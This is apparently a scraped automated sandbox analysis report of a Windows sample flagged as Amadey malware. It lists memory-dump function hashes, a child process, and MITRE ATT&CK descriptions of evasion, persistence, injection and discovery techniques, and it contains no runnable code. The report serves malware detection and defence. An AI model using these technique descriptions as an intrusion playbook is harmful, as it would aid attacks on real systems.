Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae51b155f1b7e2347a235efd3a1386e1ae35910cc88e351054c13d78d504ff6f
Instruction ID: 696afd5e87fffe5624b0ffaec2e3f76b6ad221fc215fd5f9fcafcd3fb4c89efd
Opcode Fuzzy Hash: ae51b155f1b7e2347a235efd3a1386e1ae35910cc88e351054c13d78d504ff6f
Instruction Fuzzy Hash: 44B1C53060DA4D4FEBA8DF28C8557E93BD1EF59310F14426EE85DC72A2CB74A945CB82

Function 00007FFD9BA90830 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5446faa6e8b67908c139710def0571f908a1fe79944ef10e051fc5ef21c18935
Instruction ID: dec9ba0605fd1a6372440874786d8a5037edcced5ee7b8ab0a47e4fefd239140
Opcode Fuzzy Hash: 5446faa6e8b67908c139710def0571f908a1fe79944ef10e051fc5ef21c18935
Instruction Fuzzy Hash: 51818230F19A4D8FEB94EBA8C8A4AAC7BF1FF59310F4541B6D00DD71A6DE28A841C751

Function 00007FFD9BA97DD1 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d591005ed015dafae46b9ae40f3474ae73f42e77790db0ee6f35eef7997f46
Instruction ID: 84fe7d25b6bfac1c3e686d10eb139c9a4b01ebe790231faa991ceccc3e8edd8a
Opcode Fuzzy Hash: 68d591005ed015dafae46b9ae40f3474ae73f42e77790db0ee6f35eef7997f46
Instruction Fuzzy Hash: 8351D821B19C0D4FEBA8E76C44667B873D2EF9C325F5502B9E01DC32E6DE28AC458751

Function 00007FFD9BA93D7C Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 134afe4e51e0e300187ece73963016caf2adc7788475051e11ef616837855eaa
Instruction ID: 00af50515b093f375e325e35bb2242bdf6d98de8402e229f7de736223cfbb56f
Opcode Fuzzy Hash: 134afe4e51e0e300187ece73963016caf2adc7788475051e11ef616837855eaa
Instruction Fuzzy Hash: 20516031D08A1C8FDB68DF58D855BE9BBF1FB59310F1082AAD04DD3292DE74A9858F81

Function 00007FFD9BA90AB0 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a3c3c514e15653e09090b4a2015cab2e89c99b9ca39b66b3056c3cd6f36c707
Instruction ID: 5ee8b73cfaa3a1f18de25416225595fc9af84ed9a325841b06dd436a0ad0ee61
Opcode Fuzzy Hash: 9a3c3c514e15653e09090b4a2015cab2e89c99b9ca39b66b3056c3cd6f36c707
Instruction Fuzzy Hash: A151D430B18A494FDB98EB2C8469A7977D1FF9C718F000579E08EC3396DD68AC428745

Function 00007FFD9BA97E1F Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c882da8b97aafd2bcf466c9056900c801168be22f7e1035c09117618545a3bc2
Instruction ID: 9d56d2237529fb9aba1d4d9c2447bec2f6f973304b1b351c53d6a5a76876dadf
Opcode Fuzzy Hash: c882da8b97aafd2bcf466c9056900c801168be22f7e1035c09117618545a3bc2
Instruction Fuzzy Hash: 7851F821B19C0D4BEBA4E76C44657B873C2EFDC325F5502B9E01CC32EACE28AC458781

Function 00007FFD9BA90A91 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 826105562bfc41837c3baf719fbd617a0070c4eaac86cf44a967e7bc22ac2060
Instruction ID: aea0fca23a04e607db084cecc05b8d377ff519eb019714e98ad97328e94176a1
Opcode Fuzzy Hash: 826105562bfc41837c3baf719fbd617a0070c4eaac86cf44a967e7bc22ac2060
Instruction Fuzzy Hash: 5E41F530B1CA494FEB68EB2C8469BB977D1EF98754F040179F08EC32D6DD68AC418386

Function 00007FFD9BA91F6D Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60c77e9d0b3b93882ff6818ffe2826990fbee6d1d3690b15c23f11c643dedc0f
Instruction ID: 2ff7c61004f5e3737ace4000ac88983a886149c039d6394524a95497cf836102
Opcode Fuzzy Hash: 60c77e9d0b3b93882ff6818ffe2826990fbee6d1d3690b15c23f11c643dedc0f
Instruction Fuzzy Hash: DE41D231B1EA0D4FEBB8EB6888717B873D2EF89740F0140BAD04DC32A2CE656D428741

Function 00007FFD9BA90875 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9494a1ab16768ebafd105d36b7d7b72487e41cf3153659ac9b9c89618f62acc1
Instruction ID: f67626b793b5b6db9c33a8c8e9fab762989ddc43982e4ab294f2e1cc2f2e70c1
Opcode Fuzzy Hash: 9494a1ab16768ebafd105d36b7d7b72487e41cf3153659ac9b9c89618f62acc1
Instruction Fuzzy Hash: 64512034E1995D8FEB94EBA8C8A4AAD77F1FF58304F4101B5E00DD729ADE38A841CB41

Function 00007FFD9BA90C83 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc1f73d62b4f21eb6a6f478010b0b10b18194ebd6bcad59b29edaee3b6085c6
Instruction ID: b9e31c0d6de1aadcea5ac69b1386cd5babe6b395b60e32f2a57645651a63f3c6
Opcode Fuzzy Hash: 8cc1f73d62b4f21eb6a6f478010b0b10b18194ebd6bcad59b29edaee3b6085c6
Instruction Fuzzy Hash: E9010031B5D90C8FDF94FB9CE492AFCB3E1EF59310F010129E10ED3252CA65A8428B41

Function 00007FFD9BA90508 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb4289cf2ad86c7d6a01a7c742cb8e9a49b341f9086276de070d94a5c1309c2
Instruction ID: d100e887caf847198252e8eca3c93df4d7a8431f882414535a8f9a616ceafd2d
Opcode Fuzzy Hash: adb4289cf2ad86c7d6a01a7c742cb8e9a49b341f9086276de070d94a5c1309c2
Instruction Fuzzy Hash: E3012653F0ED090BE3B8AA6C58696B122C2DFDC765B120176E01DC32EAEC552C464290

Function 00007FFD9BA90CF9 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7598a169349f9c5ca9e83fedbdfd78a313fcef022f5eeda58c264283e67bfc0f
Instruction ID: abb815f223b6d5edbb716ef5d2295fa47417ae590fc8dde5da6635a1e1cda69f
Opcode Fuzzy Hash: 7598a169349f9c5ca9e83fedbdfd78a313fcef022f5eeda58c264283e67bfc0f
Instruction Fuzzy Hash: CAF0557260D70C1EF758960DAC079F63798EB83270F00100EE19EC2142E01228238292

Function 00007FFD9BA90A50 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d99790c6ff4772cf3b6b8f68b84efe0769fa781bc631133b54400537a34f1ac8
Instruction ID: 87754794021ed9d5632ff168c101c914c3ed8626ccd610aa80458e164c9606e4
Opcode Fuzzy Hash: d99790c6ff4772cf3b6b8f68b84efe0769fa781bc631133b54400537a34f1ac8
Instruction Fuzzy Hash: 39E08021F18C1D4F9AA4FB3D5865E6963D2EFDC32074546F6E40CC329ADD28DC414381

Non-executed Functions

Function 00007FFD9BA90708 Relevance: 8.8, Strings: 7, Instructions: 94COMMON

Download Yara Rule

Strings

P_^9, xrefs: 00007FFD9BA9077A
P_^3, xrefs: 00007FFD9BA90762
P_^=, xrefs: 00007FFD9BA9078A
P_^7, xrefs: 00007FFD9BA90772
P_^%, xrefs: 00007FFD9BA9072A
P_^#, xrefs: 00007FFD9BA90722
P_^5, xrefs: 00007FFD9BA9076A

Memory Dump Source

Source File: 00000095.00000002.2863733248.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Similarity

API ID:
String ID: P_^#$P_^%$P_^3$P_^5$P_^7$P_^9$P_^=
API String ID: 0-3407535953
Opcode ID: f0fe5a9d4630714a4407d2e8f68f2f8d7ce558d689f27a5aa0db49c5492855d8
Instruction ID: 2e1d31ffafaddc2a89b520910648c7364c359632f6299cc70aebf1976731f8e5
Opcode Fuzzy Hash: f0fe5a9d4630714a4407d2e8f68f2f8d7ce558d689f27a5aa0db49c5492855d8
Instruction Fuzzy Hash: D021067B7041281AD314BA6CBCE2ADD375CEE8037A7450773E4ECCE05BD925688BC590

Analysis Process: sihost64.exePID: 7844, Parent PID: 7732COMMON

Executed Functions

Function 00007FFD9BAD49C6 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73e777ba12b5a4fec00d283b1c5388d793aa4ee7adccb40016bbaa6ba039b31b
Instruction ID: 26e74e74c072b5d52adde2484e6481642d4f8b2b698ba2247951dda6a10bc463
Opcode Fuzzy Hash: 73e777ba12b5a4fec00d283b1c5388d793aa4ee7adccb40016bbaa6ba039b31b
Instruction Fuzzy Hash: EFF18230A09A8D8FEBA8DF28C8557E937D1FF94310F04426EE85DC72A5DF74A9458B81

Function 00007FFD9BAD5772 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed137aede2f8d01b75a8f5845addc940462888ba9e8b7eb45bd6a5c3a6f1c990
Instruction ID: 247d16a4e9648c713676a3f6e0b063f50c4635f4a61bec29f951ba1d84cf2c80
Opcode Fuzzy Hash: ed137aede2f8d01b75a8f5845addc940462888ba9e8b7eb45bd6a5c3a6f1c990
Instruction Fuzzy Hash: FDE1B230A09A4E8FEBA8DF28C8557E977D1EF94310F04436AE84DC72A5DE74A9458B81

Function 00007FFD9BAD0488 Relevance: 1.6, Strings: 1, Instructions: 321COMMON

Download Yara Rule

Strings

[7L_^, xrefs: 00007FFD9BAD14EC

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID: [7L_^
API String ID: 0-2784272456
Opcode ID: a27d9422e50a7a611baf588809dca036ffcaded002eea0aa8e1ff0d3766b6633
Instruction ID: 82c91640d78c73fda6464af35ed47617c98f2622ef6ccb77ec59e44b2ddd134b
Opcode Fuzzy Hash: a27d9422e50a7a611baf588809dca036ffcaded002eea0aa8e1ff0d3766b6633
Instruction Fuzzy Hash: A6A1D571B0991D4FEBA4FB6884A97B973E2EFD8314F550279E41DC32E6CE78A8418740

Function 00007FFD9BAD1468 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

[7L_^, xrefs: 00007FFD9BAD14EC

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID: [7L_^
API String ID: 0-2784272456
Opcode ID: 15bf5e49269b32da3d03bab4468dfde6ee1610ea9948bafa5682e4474df02fbf
Instruction ID: 929410c49b7cd145266d094a710d24bac186e2a01e9b6894aa8138665b477d7f
Opcode Fuzzy Hash: 15bf5e49269b32da3d03bab4468dfde6ee1610ea9948bafa5682e4474df02fbf
Instruction Fuzzy Hash: 0401C831B1D9198FE769B368D422BFA73E1EF85324F00427AE05EC65D7CE6974428781

Function 00007FFD9BAD1065 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fffb98fa8e6f5987cf3496ea488dce701173501bba18f11bcdc6732ad09ec8ad
Instruction ID: 5b90737a64aa3f5a0e684ca9d917f04c2b5385cd2dbcb5c5e12a254dd7b1a00e
Opcode Fuzzy Hash: fffb98fa8e6f5987cf3496ea488dce701173501bba18f11bcdc6732ad09ec8ad
Instruction Fuzzy Hash: 26A1F431B0994D4FEBA4EB2884A967977E2EFD8314F5502B9D45DC32E6CE78AC41C740

Function 00007FFD9BAD5386 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 823acae59d60140a6e71b080786d8a4ce936bb235bf0292ae54b23e0039631ed
Instruction ID: c6cf34896693dbfba1fd35e0865fa065a9a4b77aeaf8a9935dffda6079fa9c82
Opcode Fuzzy Hash: 823acae59d60140a6e71b080786d8a4ce936bb235bf0292ae54b23e0039631ed
Instruction Fuzzy Hash: 24B1D530A09A4D8FDB69DF28C8557E93BE1FF55310F04426EE84DC7292CE749945CB82

Function 00007FFD9BAD22BC Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ccf022008c62151722656a22dd5eb5b0196249133a26cddf5e04d8061e45c06
Instruction ID: 9d38163d8f231a8a54907375c8ee2773f17e0295c22a837fe0235b939059f707
Opcode Fuzzy Hash: 9ccf022008c62151722656a22dd5eb5b0196249133a26cddf5e04d8061e45c06
Instruction Fuzzy Hash: 98517031D08A1C8FDB68DF58D855BE9BBB1FF59310F1082AAD44DD3292DE34A9858F81

Function 00007FFD9BAD09B0 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdc40127544c517b2867a432a5773b7d88fd9ba75036c5a359b70a9f796ff949
Instruction ID: 533c59b2aa2d6da259c6449d557344447fe6c739c0c4e0bdecba1f10c3684d0a
Opcode Fuzzy Hash: cdc40127544c517b2867a432a5773b7d88fd9ba75036c5a359b70a9f796ff949
Instruction Fuzzy Hash: 7D51A531B2CA494FEB58AF2C84696B977D1EF99704F040279E44EC32D6DE64A8428745

Function 00007FFD9BAD0991 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc243df33c19eb9451d561fcac89398d0723b202536d56a203ff52fb482686d3
Instruction ID: 938c45ef649586adcc1724c668e0d4dbfa9cd26f9d304c38c4e6604e5e4bcde0
Opcode Fuzzy Hash: bc243df33c19eb9451d561fcac89398d0723b202536d56a203ff52fb482686d3
Instruction Fuzzy Hash: 4341E530B1CA494FEB58AB6C88696B877D1EF99704F050279E44DC32E6CEA8AC428745

Function 00007FFD9BAD0848 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef960bcc7fcaaca7851ded89b235ee6e17506dada68665ab4e279051f9e14a6
Instruction ID: 31dc62b32b6932ddf236d67a4f14277382fe0996cdeffdd53c76da56d04278da
Opcode Fuzzy Hash: 0ef960bcc7fcaaca7851ded89b235ee6e17506dada68665ab4e279051f9e14a6
Instruction Fuzzy Hash: 82316170E1895D9FDF94EFA8C8A5AAD77F1FF98310F4005B5E009D7296DA78A841CB40

Function 00007FFD9BAD0C72 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8452f2d38e39256084c9d9692b8969f733b51b467b36410cd74bd7b3b57be4c1
Instruction ID: 1d65dc05bf4796fe5e6c90ac4b110edf48dd8f9f6f624ed7fcbdef278cfa70e3
Opcode Fuzzy Hash: 8452f2d38e39256084c9d9692b8969f733b51b467b36410cd74bd7b3b57be4c1
Instruction Fuzzy Hash: A011363090E2C64FE32793B048716957F60AF43354F4A03EAD0D8C71E3DA9C6445C362

Function 00007FFD9BAD0BDB Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000009F.00000002.2839369327.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d163a288a4c54956d59ad1beac98e753a7ca08f18cf3497501cdd955d2b24bf2
Instruction ID: 4484124334572a773302c91b88532f1f511728976fce475b39625f48f4706006
Opcode Fuzzy Hash: d163a288a4c54956d59ad1beac98e753a7ca08f18cf3497501cdd955d2b24bf2
Instruction Fuzzy Hash: 08F0E5B254D64C2FEB589959EC179F63B98EBC3234F00101FF58E82063F1527913C255

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

